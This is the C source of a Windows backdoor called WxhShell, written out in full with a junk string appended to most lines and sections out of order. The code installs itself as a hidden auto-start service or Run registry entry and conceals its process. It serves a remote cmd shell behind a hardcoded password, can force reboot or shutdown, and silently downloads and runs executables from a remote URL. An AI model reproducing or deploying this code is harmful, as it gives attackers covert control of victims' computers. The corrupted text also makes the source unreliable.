    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X8VBs#tLE  
    if(Boot(SHUTDOWN)) /i3 JP}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )O"E#%  
    else { Qn7T{ BW  
    closesocket(wsh); '{cSWa| #  
    ExitThread(0); a;t}'GQGk  
    } ._^}M<o L  
    break; 0W(mx-[H/  
    }  ][wb4$2  
  // 获取shell ]R_R`X?  
  case 's': { n9xP8<w8  
    CmdShell(wsh); ])wdd>'  
    closesocket(wsh); @>HTbs6W  
    ExitThread(0); i+h*<){X  
    break; iI{L>  
  } < mQXS87  
  // 退出 LP6 p  
  case 'x': { l3sF/zkH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |]4!WBK  
    CloseIt(wsh); _8a;5hS  
    break; qS#G7~ur>y  
    } c`soVqT$?  
  // 离开 '|DW#l\n  
  case 'q': { -T,?'J0 2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lFGuQLuqA{  
    closesocket(wsh); :D*U4< /u  
    WSACleanup(); =..Bh8P71!  
    exit(1); aOH|[  
    break; ^K;k4oK  
        } . :Skc  
  } j:h}ka/!p  
  } sq!$+=1-X  
mY.v:  
  // 提示信息 q7X#LYk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @khFk.LBD  
} x "{aO6M  
  } SI=$s>1  
=0pt-FQ  
  return; h+}BtKA  
} /~Y\KOH|  
r,Uk)xa/^  
// shell模块句柄 O;H6`JQ  
int CmdShell(SOCKET sock) umIGI  
{ '{"Rjv7  
STARTUPINFO si; .\ ;'>qy  
ZeroMemory(&si,sizeof(si)); rP:g`?*V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0G+Q^]0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wb0$FZzh  
PROCESS_INFORMATION ProcessInfo; 2#>;cn\  
char cmdline[]="cmd"; /K#k_k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L}`/v]E"eU  
  return 0; eX+36VG\  
} sp,-JZD  
&BRk<iwV  
// 自身启动模式 /eI|m9ke  
int StartFromService(void) \rS*\g:i  
{ N1$u@P{  
typedef struct JT?u[p Q^  
{ 'X;cgAq8(  
  DWORD ExitStatus; =SJ#6uFS  
  DWORD PebBaseAddress; dHy9 wU  
  DWORD AffinityMask; B*T n@t W  
  DWORD BasePriority; 1&|]8=pG7  
  ULONG UniqueProcessId; $aV62uNf  
  ULONG InheritedFromUniqueProcessId; Zw]"p63eMa  
}   PROCESS_BASIC_INFORMATION; WC#6(H5t$  
?9`j1[0  
PROCNTQSIP NtQueryInformationProcess; w"j>^#8  
Anz{u$0M[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |Xt.[1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NiZfaC6V  
?2]fE[SqY  
  HANDLE             hProcess; )x6 &Y  
  PROCESS_BASIC_INFORMATION pbi; ~/L:$  
.C'\U[A{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }9^:(ty2A  
  if(NULL == hInst ) return 0; 8,U~ p<Gz  
, Y:oTo=~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U#z"t&o=L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vNSUrf,r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2Re8rcQQU  
)]fsl_Yq  
  if (!NtQueryInformationProcess) return 0; H8eEBMGo  
~ P\4 N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4|?(LHBD)  
  if(!hProcess) return 0; bBi>BP =  
xrf|c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3~`P8 9  
Cj= R\@  
  CloseHandle(hProcess); f Fi=/}  
Ue}1(2.v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hk?i0#7W  
if(hProcess==NULL) return 0; Q`k;E}x_-  
tj;47UtH  
HMODULE hMod; C?H~L  
char procName[255]; QD-\'Bp/X  
unsigned long cbNeeded; Bl+\|[yd  
y3efie {J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RvR.t"8  
W> TG?hH  
  CloseHandle(hProcess); |b\a)1Po:  
02,t  
if(strstr(procName,"services")) return 1; // 以服务启动 Mi.#x_  
n.l#(`($4  
  return 0; // 注册表启动 oXZWg~&l^  
} ,a>Dv@$Y  
Zq 4%O7%  
// 主模块 yy5|8L  
int StartWxhshell(LPSTR lpCmdLine) vd%AV(]<LJ  
{ ndFVP;q  
  SOCKET wsl; G ]h  
BOOL val=TRUE; ?b7ttlX{  
  int port=0; >,,`7%Rv  
  struct sockaddr_in door; V?OTP&+J%  
o}=*E  
  if(wscfg.ws_autoins) Install(); {+lU4u  
>$ZhhM/} J  
port=atoi(lpCmdLine); ]\rQ{No  
reR@@O  
if(port<=0) port=wscfg.ws_port; <oXBkCi0r  
&Sg]P  
  WSADATA data; w<~[ad}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 53hX%{3  
`Ij EwKra  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N4 x5!00  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TFOx=_.%i  
  door.sin_family = AF_INET; )&E]   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i=/hLE8T*  
  door.sin_port = htons(port); ^W sgAyCB  
%KVmpWku  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8d$|JN;)  
closesocket(wsl); ^/2HH  
return 1; Ep(xlHTv  
} ; o'>`=Y  
p9jC-&:  
  if(listen(wsl,2) == INVALID_SOCKET) { 'Ev[G6vo  
closesocket(wsl); UB+~K/  
return 1; PCwc=  
} q0q-Coh>  
  Wxhshell(wsl); t;Z9p7rk  
  WSACleanup(); Jqzw94  
G(?1 Urxi  
return 0; khjdTq\\  
/t`|3Mw  
} sCJ|U6Q-  
iOfO+3'Z_U  
// 以NT服务方式启动 ;07$G+['  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WI&A+1CK-5  
{ pq]z%\$u  
DWORD   status = 0; E5A"sB   
  DWORD   specificError = 0xfffffff; QDj%m%Xd  
f"gYXaVF+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _R|_1xa=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >VZxDJ$R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FO>!T@0G  
  serviceStatus.dwWin32ExitCode     = 0; nCwA8AG  
  serviceStatus.dwServiceSpecificExitCode = 0; 0'f\>4B  
  serviceStatus.dwCheckPoint       = 0; $aEv*{$y  
  serviceStatus.dwWaitHint       = 0; ZD]{HxGL!  
wEq&O|Vj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VOC$Kqg;  
  if (hServiceStatusHandle==0) return; cQxUEY('+  
l?IeZisX  
status = GetLastError(); O13]H"O_  
  if (status!=NO_ERROR) O Lt0Q.{  
{ y+Nw>\|S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q }^Ip7T  
    serviceStatus.dwCheckPoint       = 0; 1p5'.~J+Q  
    serviceStatus.dwWaitHint       = 0; %CYo, e  
    serviceStatus.dwWin32ExitCode     = status; D1+1j:m  
    serviceStatus.dwServiceSpecificExitCode = specificError; c2Z !Vtd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F,)+9/S&  
    return; (e5Z^9X  
  } &Jb$YKt  
LUxDP#~7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; BUwL?  
  serviceStatus.dwCheckPoint       = 0; IO&U=-pn&  
  serviceStatus.dwWaitHint       = 0; >Vx_Xv`Jwb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ud(0}[  
} R}w}G6"\  
Fab]'#1q4  
// 处理NT服务事件,比如:启动、停止 [?:MIl#!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !_3b#Caf  
{ Z'9|  
switch(fdwControl) u4T$  
{ q9_AL8_  
case SERVICE_CONTROL_STOP: <z%**gP~G  
  serviceStatus.dwWin32ExitCode = 0; b{-"GqMO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !oXFDC3k  
  serviceStatus.dwCheckPoint   = 0;  k4<28  
  serviceStatus.dwWaitHint     = 0; Q|+ a   
  { >&e=0@?+G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nz3+yxv1  
  } &`s{-<t<L  
  return; OA6i/3 #8  
case SERVICE_CONTROL_PAUSE: t}I@Rmso  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >WZbb d-  
  break; w^zqYGxG)  
case SERVICE_CONTROL_CONTINUE: zJ(DO>,p&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R=a4zVQ  
  break; 6^J[SQ6P  
case SERVICE_CONTROL_INTERROGATE: ;{H Dz$  
  break; -3? <Ja  
}; (x/:j*`K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zd8A8]&-  
} a;KdkykG  
|S).,B  
// 标准应用程序主函数 XZ8rM4 ]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U!Zj%H1XQ0  
{ lr;ubBbT  
VHqoa>U,*  
// 获取操作系统版本 7neJV  
OsIsNt=GetOsVer(); ct|0zl~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q1|6;4L  
 *p9)5  
  // 从命令行安装 X%<qHbKB,  
  if(strpbrk(lpCmdLine,"iI")) Install(); ed5oN^V.<  
_3%:m||,XP  
  // 下载执行文件 JAjiG^]  
if(wscfg.ws_downexe) { ?kZ-,@h:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3mYW]  
  WinExec(wscfg.ws_filenam,SW_HIDE); `Rq|*:LV  
} "XV@O jr E  
Q3=5q w^  
if(!OsIsNt) { y2?9pVLa\y  
// 如果时win9x,隐藏进程并且设置为注册表启动 1k:yU(  
HideProc(); a%HNz_ro  
StartWxhshell(lpCmdLine); Oprfp^L  
} *szs"mQ/  
else SX'NFdY  
  if(StartFromService()) h*JN0O<b  
  // 以服务方式启动 W3Ee3  
  StartServiceCtrlDispatcher(DispatchTable); S9$,.aq  
else 3)CIqN  
  // 普通方式启动 ayn aV  
  StartWxhshell(lpCmdLine); E<! L^A M`  
i Pr(X  
return 0; cs\=8_5  
} ami>Pp  
F[O147&C  
eLh35tw  
mT@Gf>}/A  
=========================================== (t&`m[>K  
=ZU!i0 K  
k0PwAt)65  
qHe H/e%`V  
e~)4v  
q[P>s{"  
" 7;'UC','  
^Lfwoy7R  
#include <stdio.h> _(gkYJ+MK  
#include <string.h> 2P'Vp7f6 Y  
#include <windows.h> !F~1+V>zP  
#include <winsock2.h> TBJ?8W(  
#include <winsvc.h> X#0yOSR  
#include <urlmon.h> WwnBe"7M  
91&=UUkK?  
#pragma comment (lib, "Ws2_32.lib") ,3}+t6O"  
#pragma comment (lib, "urlmon.lib") Si~wig2  
n{<@-6  
#define MAX_USER   100 // 最大客户端连接数 k:~UBs\)(  
#define BUF_SOCK   200 // sock buffer yVn%Bz' [  
#define KEY_BUFF   255 // 输入 buffer 3HP { a  
H@zv-{}T8  
#define REBOOT     0   // 重启 =&"pG` x  
#define SHUTDOWN   1   // 关机 "N &ix*($  
pcOi%D,o  
#define DEF_PORT   5000 // 监听端口 `l?MmIJ  
V#b*:E.cA  
#define REG_LEN     16   // 注册表键长度 rs>,p)  
#define SVC_LEN     80   // NT服务名长度 BIx*(  
Z \ @9*  
// 从dll定义API *1b0IQ$g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <T.R%Jys  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^hEN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `'r]Oe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5"U5^6:T  
VY~*QF~P  
// wxhshell配置信息 :u=y7[I  
struct WSCFG { }*-fh$QJ  
  int ws_port;         // 监听端口 uW[AnQ1w  
  char ws_passstr[REG_LEN]; // 口令 fWfhs}_  
  int ws_autoins;       // 安装标记, 1=yes 0=no }/NjZ*u  
  char ws_regname[REG_LEN]; // 注册表键名 9,Dw;|A]  
  char ws_svcname[REG_LEN]; // 服务名 T=V{3v@zs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;VCFDE{K=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h;} fdk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 60>g{1]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ' t(#HBU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +dq2}gM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #|:q"l9  
zKYN5|17  
}; 1T~`$zS7  
}\N ~%?6D  
// default Wxhshell configuration v) K|{x  
struct WSCFG wscfg={DEF_PORT, D2MIV&pahP  
    "xuhuanlingzhe", c(3idO*R)  
    1, T|YMU?4  
    "Wxhshell", j9Z1=z  
    "Wxhshell", Gh{9nM_\"  
            "WxhShell Service", )&)tX.  
    "Wrsky Windows CmdShell Service", a{By U%  
    "Please Input Your Password: ", wz:,gpH  
  1, mv*M2NuhT  
  "http://www.wrsky.com/wxhshell.exe", $Zrc-tkV  
  "Wxhshell.exe"  V2 ;?  
    }; }b<w\9AF  
kOel !A  
// 消息定义模块 &,/-<y-S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y|-&=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KAr5>^<zw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ldaT: er9  
char *msg_ws_ext="\n\rExit."; +f^|Yi  
char *msg_ws_end="\n\rQuit."; J6zU#  
char *msg_ws_boot="\n\rReboot..."; d.U"lP/)D  
char *msg_ws_poff="\n\rShutdown..."; `RE K,^U  
char *msg_ws_down="\n\rSave to "; <{eJbNp  
#V[Os!ns  
char *msg_ws_err="\n\rErr!"; ZU 7u>  
char *msg_ws_ok="\n\rOK!"; m{yq.H[X  
`,c~M  
char ExeFile[MAX_PATH]; @GQtyl;q  
int nUser = 0; j2hp*C'^  
HANDLE handles[MAX_USER]; [F27i#'I]  
int OsIsNt; ~!Rf5QA85  
-BrJ5]T>*  
SERVICE_STATUS       serviceStatus; P$/Y9o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &c= 3BEh  
4%jQHOZ  
// 函数声明 cm>+f^4?n  
int Install(void); ~^g*cA t}  
int Uninstall(void); %W2 o`W$  
int DownloadFile(char *sURL, SOCKET wsh); |5BvVqn  
int Boot(int flag); wFL7JwK:G  
void HideProc(void); ]#FQde4]5  
int GetOsVer(void); s*e1m%  
int Wxhshell(SOCKET wsl); EuD$^#  
void TalkWithClient(void *cs); #6 $WuIG  
int CmdShell(SOCKET sock); k,/2]{#53d  
int StartFromService(void); R8j\CiV17  
int StartWxhshell(LPSTR lpCmdLine); +DSZ(Zb4qY  
3e;ux6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $h1pL>^J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )},/=#C0  
|@MGGAk  
// 数据结构和表定义 Y^5)u/Y=U  
SERVICE_TABLE_ENTRY DispatchTable[] = <ZoMKUuB  
{ ;'4Kg@/  
{wscfg.ws_svcname, NTServiceMain}, }~ga86:n0  
{NULL, NULL} n=h!V$X   
}; ^QTkre  
zgSv -h+f  
// 自我安装 `S]DHxS  
int Install(void) B!1L W4^  
{ vPu {xy  
  char svExeFile[MAX_PATH]; M9(Kxux#  
  HKEY key; QLH6Nmk  
  strcpy(svExeFile,ExeFile); MBFn s/  
}Szs9-Wns  
// 如果是win9x系统,修改注册表设为自启动 ^F+7@*u  
if(!OsIsNt) { Qy'-3GB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0&6(y* #Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ru*}lDJ  
  RegCloseKey(key); ]~'pYOB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fj y2\J!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \'P79=AU  
  RegCloseKey(key); u< 5{H='6  
  return 0; ?Aky!43  
    } ^ Mq8jw(2  
  } )m10IyUAY  
} 2TX.%%Ze  
else { $&0\BvS  
Z+S1e~~  
// 如果是NT以上系统,安装为系统服务 R lmeZy4.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f_r4*#&v  
if (schSCManager!=0) 7pZd?-6M^  
{ e>_Il']Mb  
  SC_HANDLE schService = CreateService ]nx5E_j2  
  ( DcNwtts  
  schSCManager, +2^Mz&I@b  
  wscfg.ws_svcname, vb]H $@0  
  wscfg.ws_svcdisp, 2P VQSwW:  
  SERVICE_ALL_ACCESS, esHcE{GNOS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TZE;$:1vx>  
  SERVICE_AUTO_START, W&9X <c*  
  SERVICE_ERROR_NORMAL, A!_yZ|)$ T  
  svExeFile, 20BU;D3  
  NULL, zWq&HBs  
  NULL, ID$%4jl  
  NULL, 6w $pL(  
  NULL, j:J7  
  NULL e\H1IR3  
  ); YR0.m%U,  
  if (schService!=0) x`zE#sD  
  { kwpbgQ  
  CloseServiceHandle(schService); G/_9!lE  
  CloseServiceHandle(schSCManager); 1(m[L=H5>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 95BRZ!ts  
  strcat(svExeFile,wscfg.ws_svcname); xayd_RB9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :@sjOY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TM`6:5ONv  
  RegCloseKey(key); w?A6S-z  
  return 0; Ve|=<7%%S  
    }  ~&Y%yN^  
  } JcI~8;Z@Z~  
  CloseServiceHandle(schSCManager); Zl=IZ?F   
} 'FmnlC1  
} 6kHb*L Je  
#s|/5[i  
return 1; >I *uo.OF  
} 4[f>kY%[  
}FT8 [m<  
// 自我卸载 :pg]0X;  
int Uninstall(void) !l#n.Fx&3  
{ FKkL%:?  
  HKEY key; ,Q>wcE6v  
fdzaM&  
if(!OsIsNt) { 1<&nHFJ;[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U:O&FE  
  RegDeleteValue(key,wscfg.ws_regname); "A3V(~%!  
  RegCloseKey(key); %&S :W%qm?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j<_)Y(x>  
  RegDeleteValue(key,wscfg.ws_regname); ?wbf)fbq  
  RegCloseKey(key); pwr]lV$w  
  return 0; 5s=L5]]r_j  
  } Vi\kB%  
} ./E<v  
} u75(\<{  
else { >iFi~)i_4y  
`ouCQ]tKz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Nd61ns(N  
if (schSCManager!=0) 5vqh09-FB  
{ >Gi* BB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }1pG0V4  
  if (schService!=0) #)EVi7UP  
  { j\@osjUu  
  if(DeleteService(schService)!=0) { 'mU7N<Q$qQ  
  CloseServiceHandle(schService); ,L9ioYbp  
  CloseServiceHandle(schSCManager); 2W vf[2Xw  
  return 0; 8YwSaBwO  
  } p& +w  
  CloseServiceHandle(schService); Tn(c%ytN  
  } iP+3)  
  CloseServiceHandle(schSCManager); V75P@jv5J  
} *S{fyYyM  
} xBK is\b  
/&g~*AL  
return 1; ]R8JBnA  
} R}Z2rbt  
g0-J8&?X  
// 从指定url下载文件 =@0/.oSD  
int DownloadFile(char *sURL, SOCKET wsh) u(Y?2R  
{ kESnlmy@J  
  HRESULT hr; xE%sPWbj  
char seps[]= "/"; 4]%v%6 4U  
char *token; t {RdqAF  
char *file; `%A>{A"  
char myURL[MAX_PATH]; k1Thjt  
char myFILE[MAX_PATH]; $kCLS7 *  
\S`|7JYW  
strcpy(myURL,sURL); *Z C$DW!-  
  token=strtok(myURL,seps); "`8~qZ7k  
  while(token!=NULL) 0z:BSdno  
  { $3Srr*  
    file=token; fPu,@ L  
  token=strtok(NULL,seps); OVgx2_F  
  } (n3MbVi3LU  
QpC,komLJ  
GetCurrentDirectory(MAX_PATH,myFILE); |>L|7>J{<d  
strcat(myFILE, "\\"); [Uw/;Kyh  
strcat(myFILE, file); w,v~  
  send(wsh,myFILE,strlen(myFILE),0); STY\c5  
send(wsh,"...",3,0); @Ap~Wok  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >@wyiBU  
  if(hr==S_OK) yCLDJ%8  
return 0; xD3Y-d9  
else 6e.?L  
return 1; ! Al?B9KJ  
-^+!:0';  
} #Kd^t =k  
3'D<'S}[  
// 系统电源模块 I? o)X!  
int Boot(int flag) x]%'^7#v)  
{ ap[{`u  
  HANDLE hToken; + IpC  
  TOKEN_PRIVILEGES tkp; EA+}Rf6}  
eH9Ofhsry  
  if(OsIsNt) { .uGvmD <;x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mcB8xE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }u aRS9d  
    tkp.PrivilegeCount = 1; cXY;Tw45  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q!+&|F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )lsR8Hi8  
if(flag==REBOOT) { v Ol<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9;*-y$@  
  return 0; jR[3{ Reo  
} 9X-w5$<  
else { Sl RQi:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C%l+<wpXO  
  return 0; CMI V"-  
} B<p -.tv  
  } Z+G.v=2q<  
  else { VX<jg#(  
if(flag==REBOOT) { X/l{E4Ex  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }KZt7)  
  return 0; Arzyq_ Yk  
} QxaW x  
else { v.Y?<=E+<d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wu!s  
  return 0; %Ct^{k~1  
} I \DH  
} 5UgxuuP4  
}+{ ? Ms  
return 1; E9"P~ nz  
} | pA  
PS=N]e7k'  
// win9x进程隐藏模块 \=yWJ  
void HideProc(void) dpPu&m+  
{ T|o ]8z  
<V~B8C!)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ls9 28  
  if ( hKernel != NULL ) BM,]Wjfdj  
  { b,tf]Z-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yi5^# G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #BZ2%\  
    FreeLibrary(hKernel); 0S%xm'|N  
  } hN5?u:  
$q iY)RE  
return; R'udC}  
} }^@Q9<P^E  
ZgzjRa++  
// 获取操作系统版本 ? +q(,P@*  
int GetOsVer(void) Wz%b,!  
{ R. (fo:ve>  
  OSVERSIONINFO winfo; 0,z3A>C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V8Fp1?E9S  
  GetVersionEx(&winfo); D["~G v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E0s|eA&  
  return 1; (T9Q6 \sa  
  else hT0[O  
  return 0; <*/IV<  
} %wDE+&M  
>STAPrBp+  
// 客户端句柄模块 zarxv| }$  
int Wxhshell(SOCKET wsl) BWWO=N  
{ P5K=S.g  
  SOCKET wsh; +}.~"  
  struct sockaddr_in client; vR)f'+_Nz  
  DWORD myID; WCdl 25L#  
w!j'k|b>  
  while(nUser<MAX_USER) sMn)[k vX  
{ AVnH|31dC~  
  int nSize=sizeof(client); C+m%_6<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?^Q8#Y^M  
  if(wsh==INVALID_SOCKET) return 1; 2d#3LnO  
Q:5^K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "K9/^S_  
if(handles[nUser]==0) vh/&KTe?:  
  closesocket(wsh); ^c-8~r|y,  
else <l.l6okp  
  nUser++; I""zg^Rq  
  } ,l47;@kr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sf>#Zqj/  
$0mR_pA\fW  
  return 0; .DX-biX,  
} x@)G@'vV|  
JH|]B|3  
// 关闭 socket @7? O#WmL  
void CloseIt(SOCKET wsh) Xt .ca,`U  
{ #hZ`r5GvTj  
closesocket(wsh); 7G \a5  
nUser--; vH?rln  
ExitThread(0); j&Trvw<t  
} 3n!f'" T  
q?* z<)#  
// 客户端请求句柄 1 O?bT,"b  
void TalkWithClient(void *cs) QhJuH_f 0  
{ B4Fuvi  
J85S'cwZZ  
  SOCKET wsh=(SOCKET)cs; 0Xw$l3@N^  
  char pwd[SVC_LEN]; T2ZB(B D  
  char cmd[KEY_BUFF]; (Qcd !!   
char chr[1]; * @=ZzL  
int i,j; !\}X?G f  
E~y( @72)  
  while (nUser < MAX_USER) { Vm*E^ v  
 W<@9ndvH  
if(wscfg.ws_passstr) { ib\_MNIb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tfz _h~D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E Xxv  
  //ZeroMemory(pwd,KEY_BUFF); _qO'(DKylC  
      i=0; Tpd|+60g  
  while(i<SVC_LEN) { z}a9%Fb  
j2RdBoCt  
  // 设置超时 0sA+5*mdM  
  fd_set FdRead; KSAE!+  
  struct timeval TimeOut; :OFs" bC  
  FD_ZERO(&FdRead); PWBcK_4i%  
  FD_SET(wsh,&FdRead); !kS/Ei  
  TimeOut.tv_sec=8; ~Jh1$O,9o  
  TimeOut.tv_usec=0; 3OB=D{$V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); srQGqE~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %xv*#.<Vj  
kK|D&Xy`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3`TD>6rs  
  pwd=chr[0]; )kT.3 Q  
  if(chr[0]==0xd || chr[0]==0xa) { {ldt/dl~  
  pwd=0; -.OZ  
  break; fgoLN\  
  } ictV7)  
  i++; `k6ZAOQtX  
    } .Im=-#EN  
"U-dw%b}b  
  // 如果是非法用户,关闭 socket }0Ie Kpu5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B#G:aBCM  
} mt]^d;E  
|[)n.N65 =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y:R*AOx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =<%[P9y  
c`@";+|r  
while(1) { PbnAY{J  
rS!M0Hq>t  
  ZeroMemory(cmd,KEY_BUFF); a*&(cn  
q5G`q&O5  
      // 自动支持客户端 telnet标准   {e5DQ21.  
  j=0; iax0V  
  while(j<KEY_BUFF) { bd\%K`JQ{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s1]m^,  
  cmd[j]=chr[0]; G}Ko*:fWS  
  if(chr[0]==0xa || chr[0]==0xd) { ?C`r3  
  cmd[j]=0; *XOLuPL>6)  
  break; X;1yQ |su  
  } Ms#rvn!J  
  j++; p,.6sk  
    } aJ QzM  
fC".K Yjp  
  // 下载文件 !nsx!M  
  if(strstr(cmd,"http://")) { %:v<&^oDlm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?>Ngsp>-P  
  if(DownloadFile(cmd,wsh)) 2?{'(i ay  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nTl2F1(sV7  
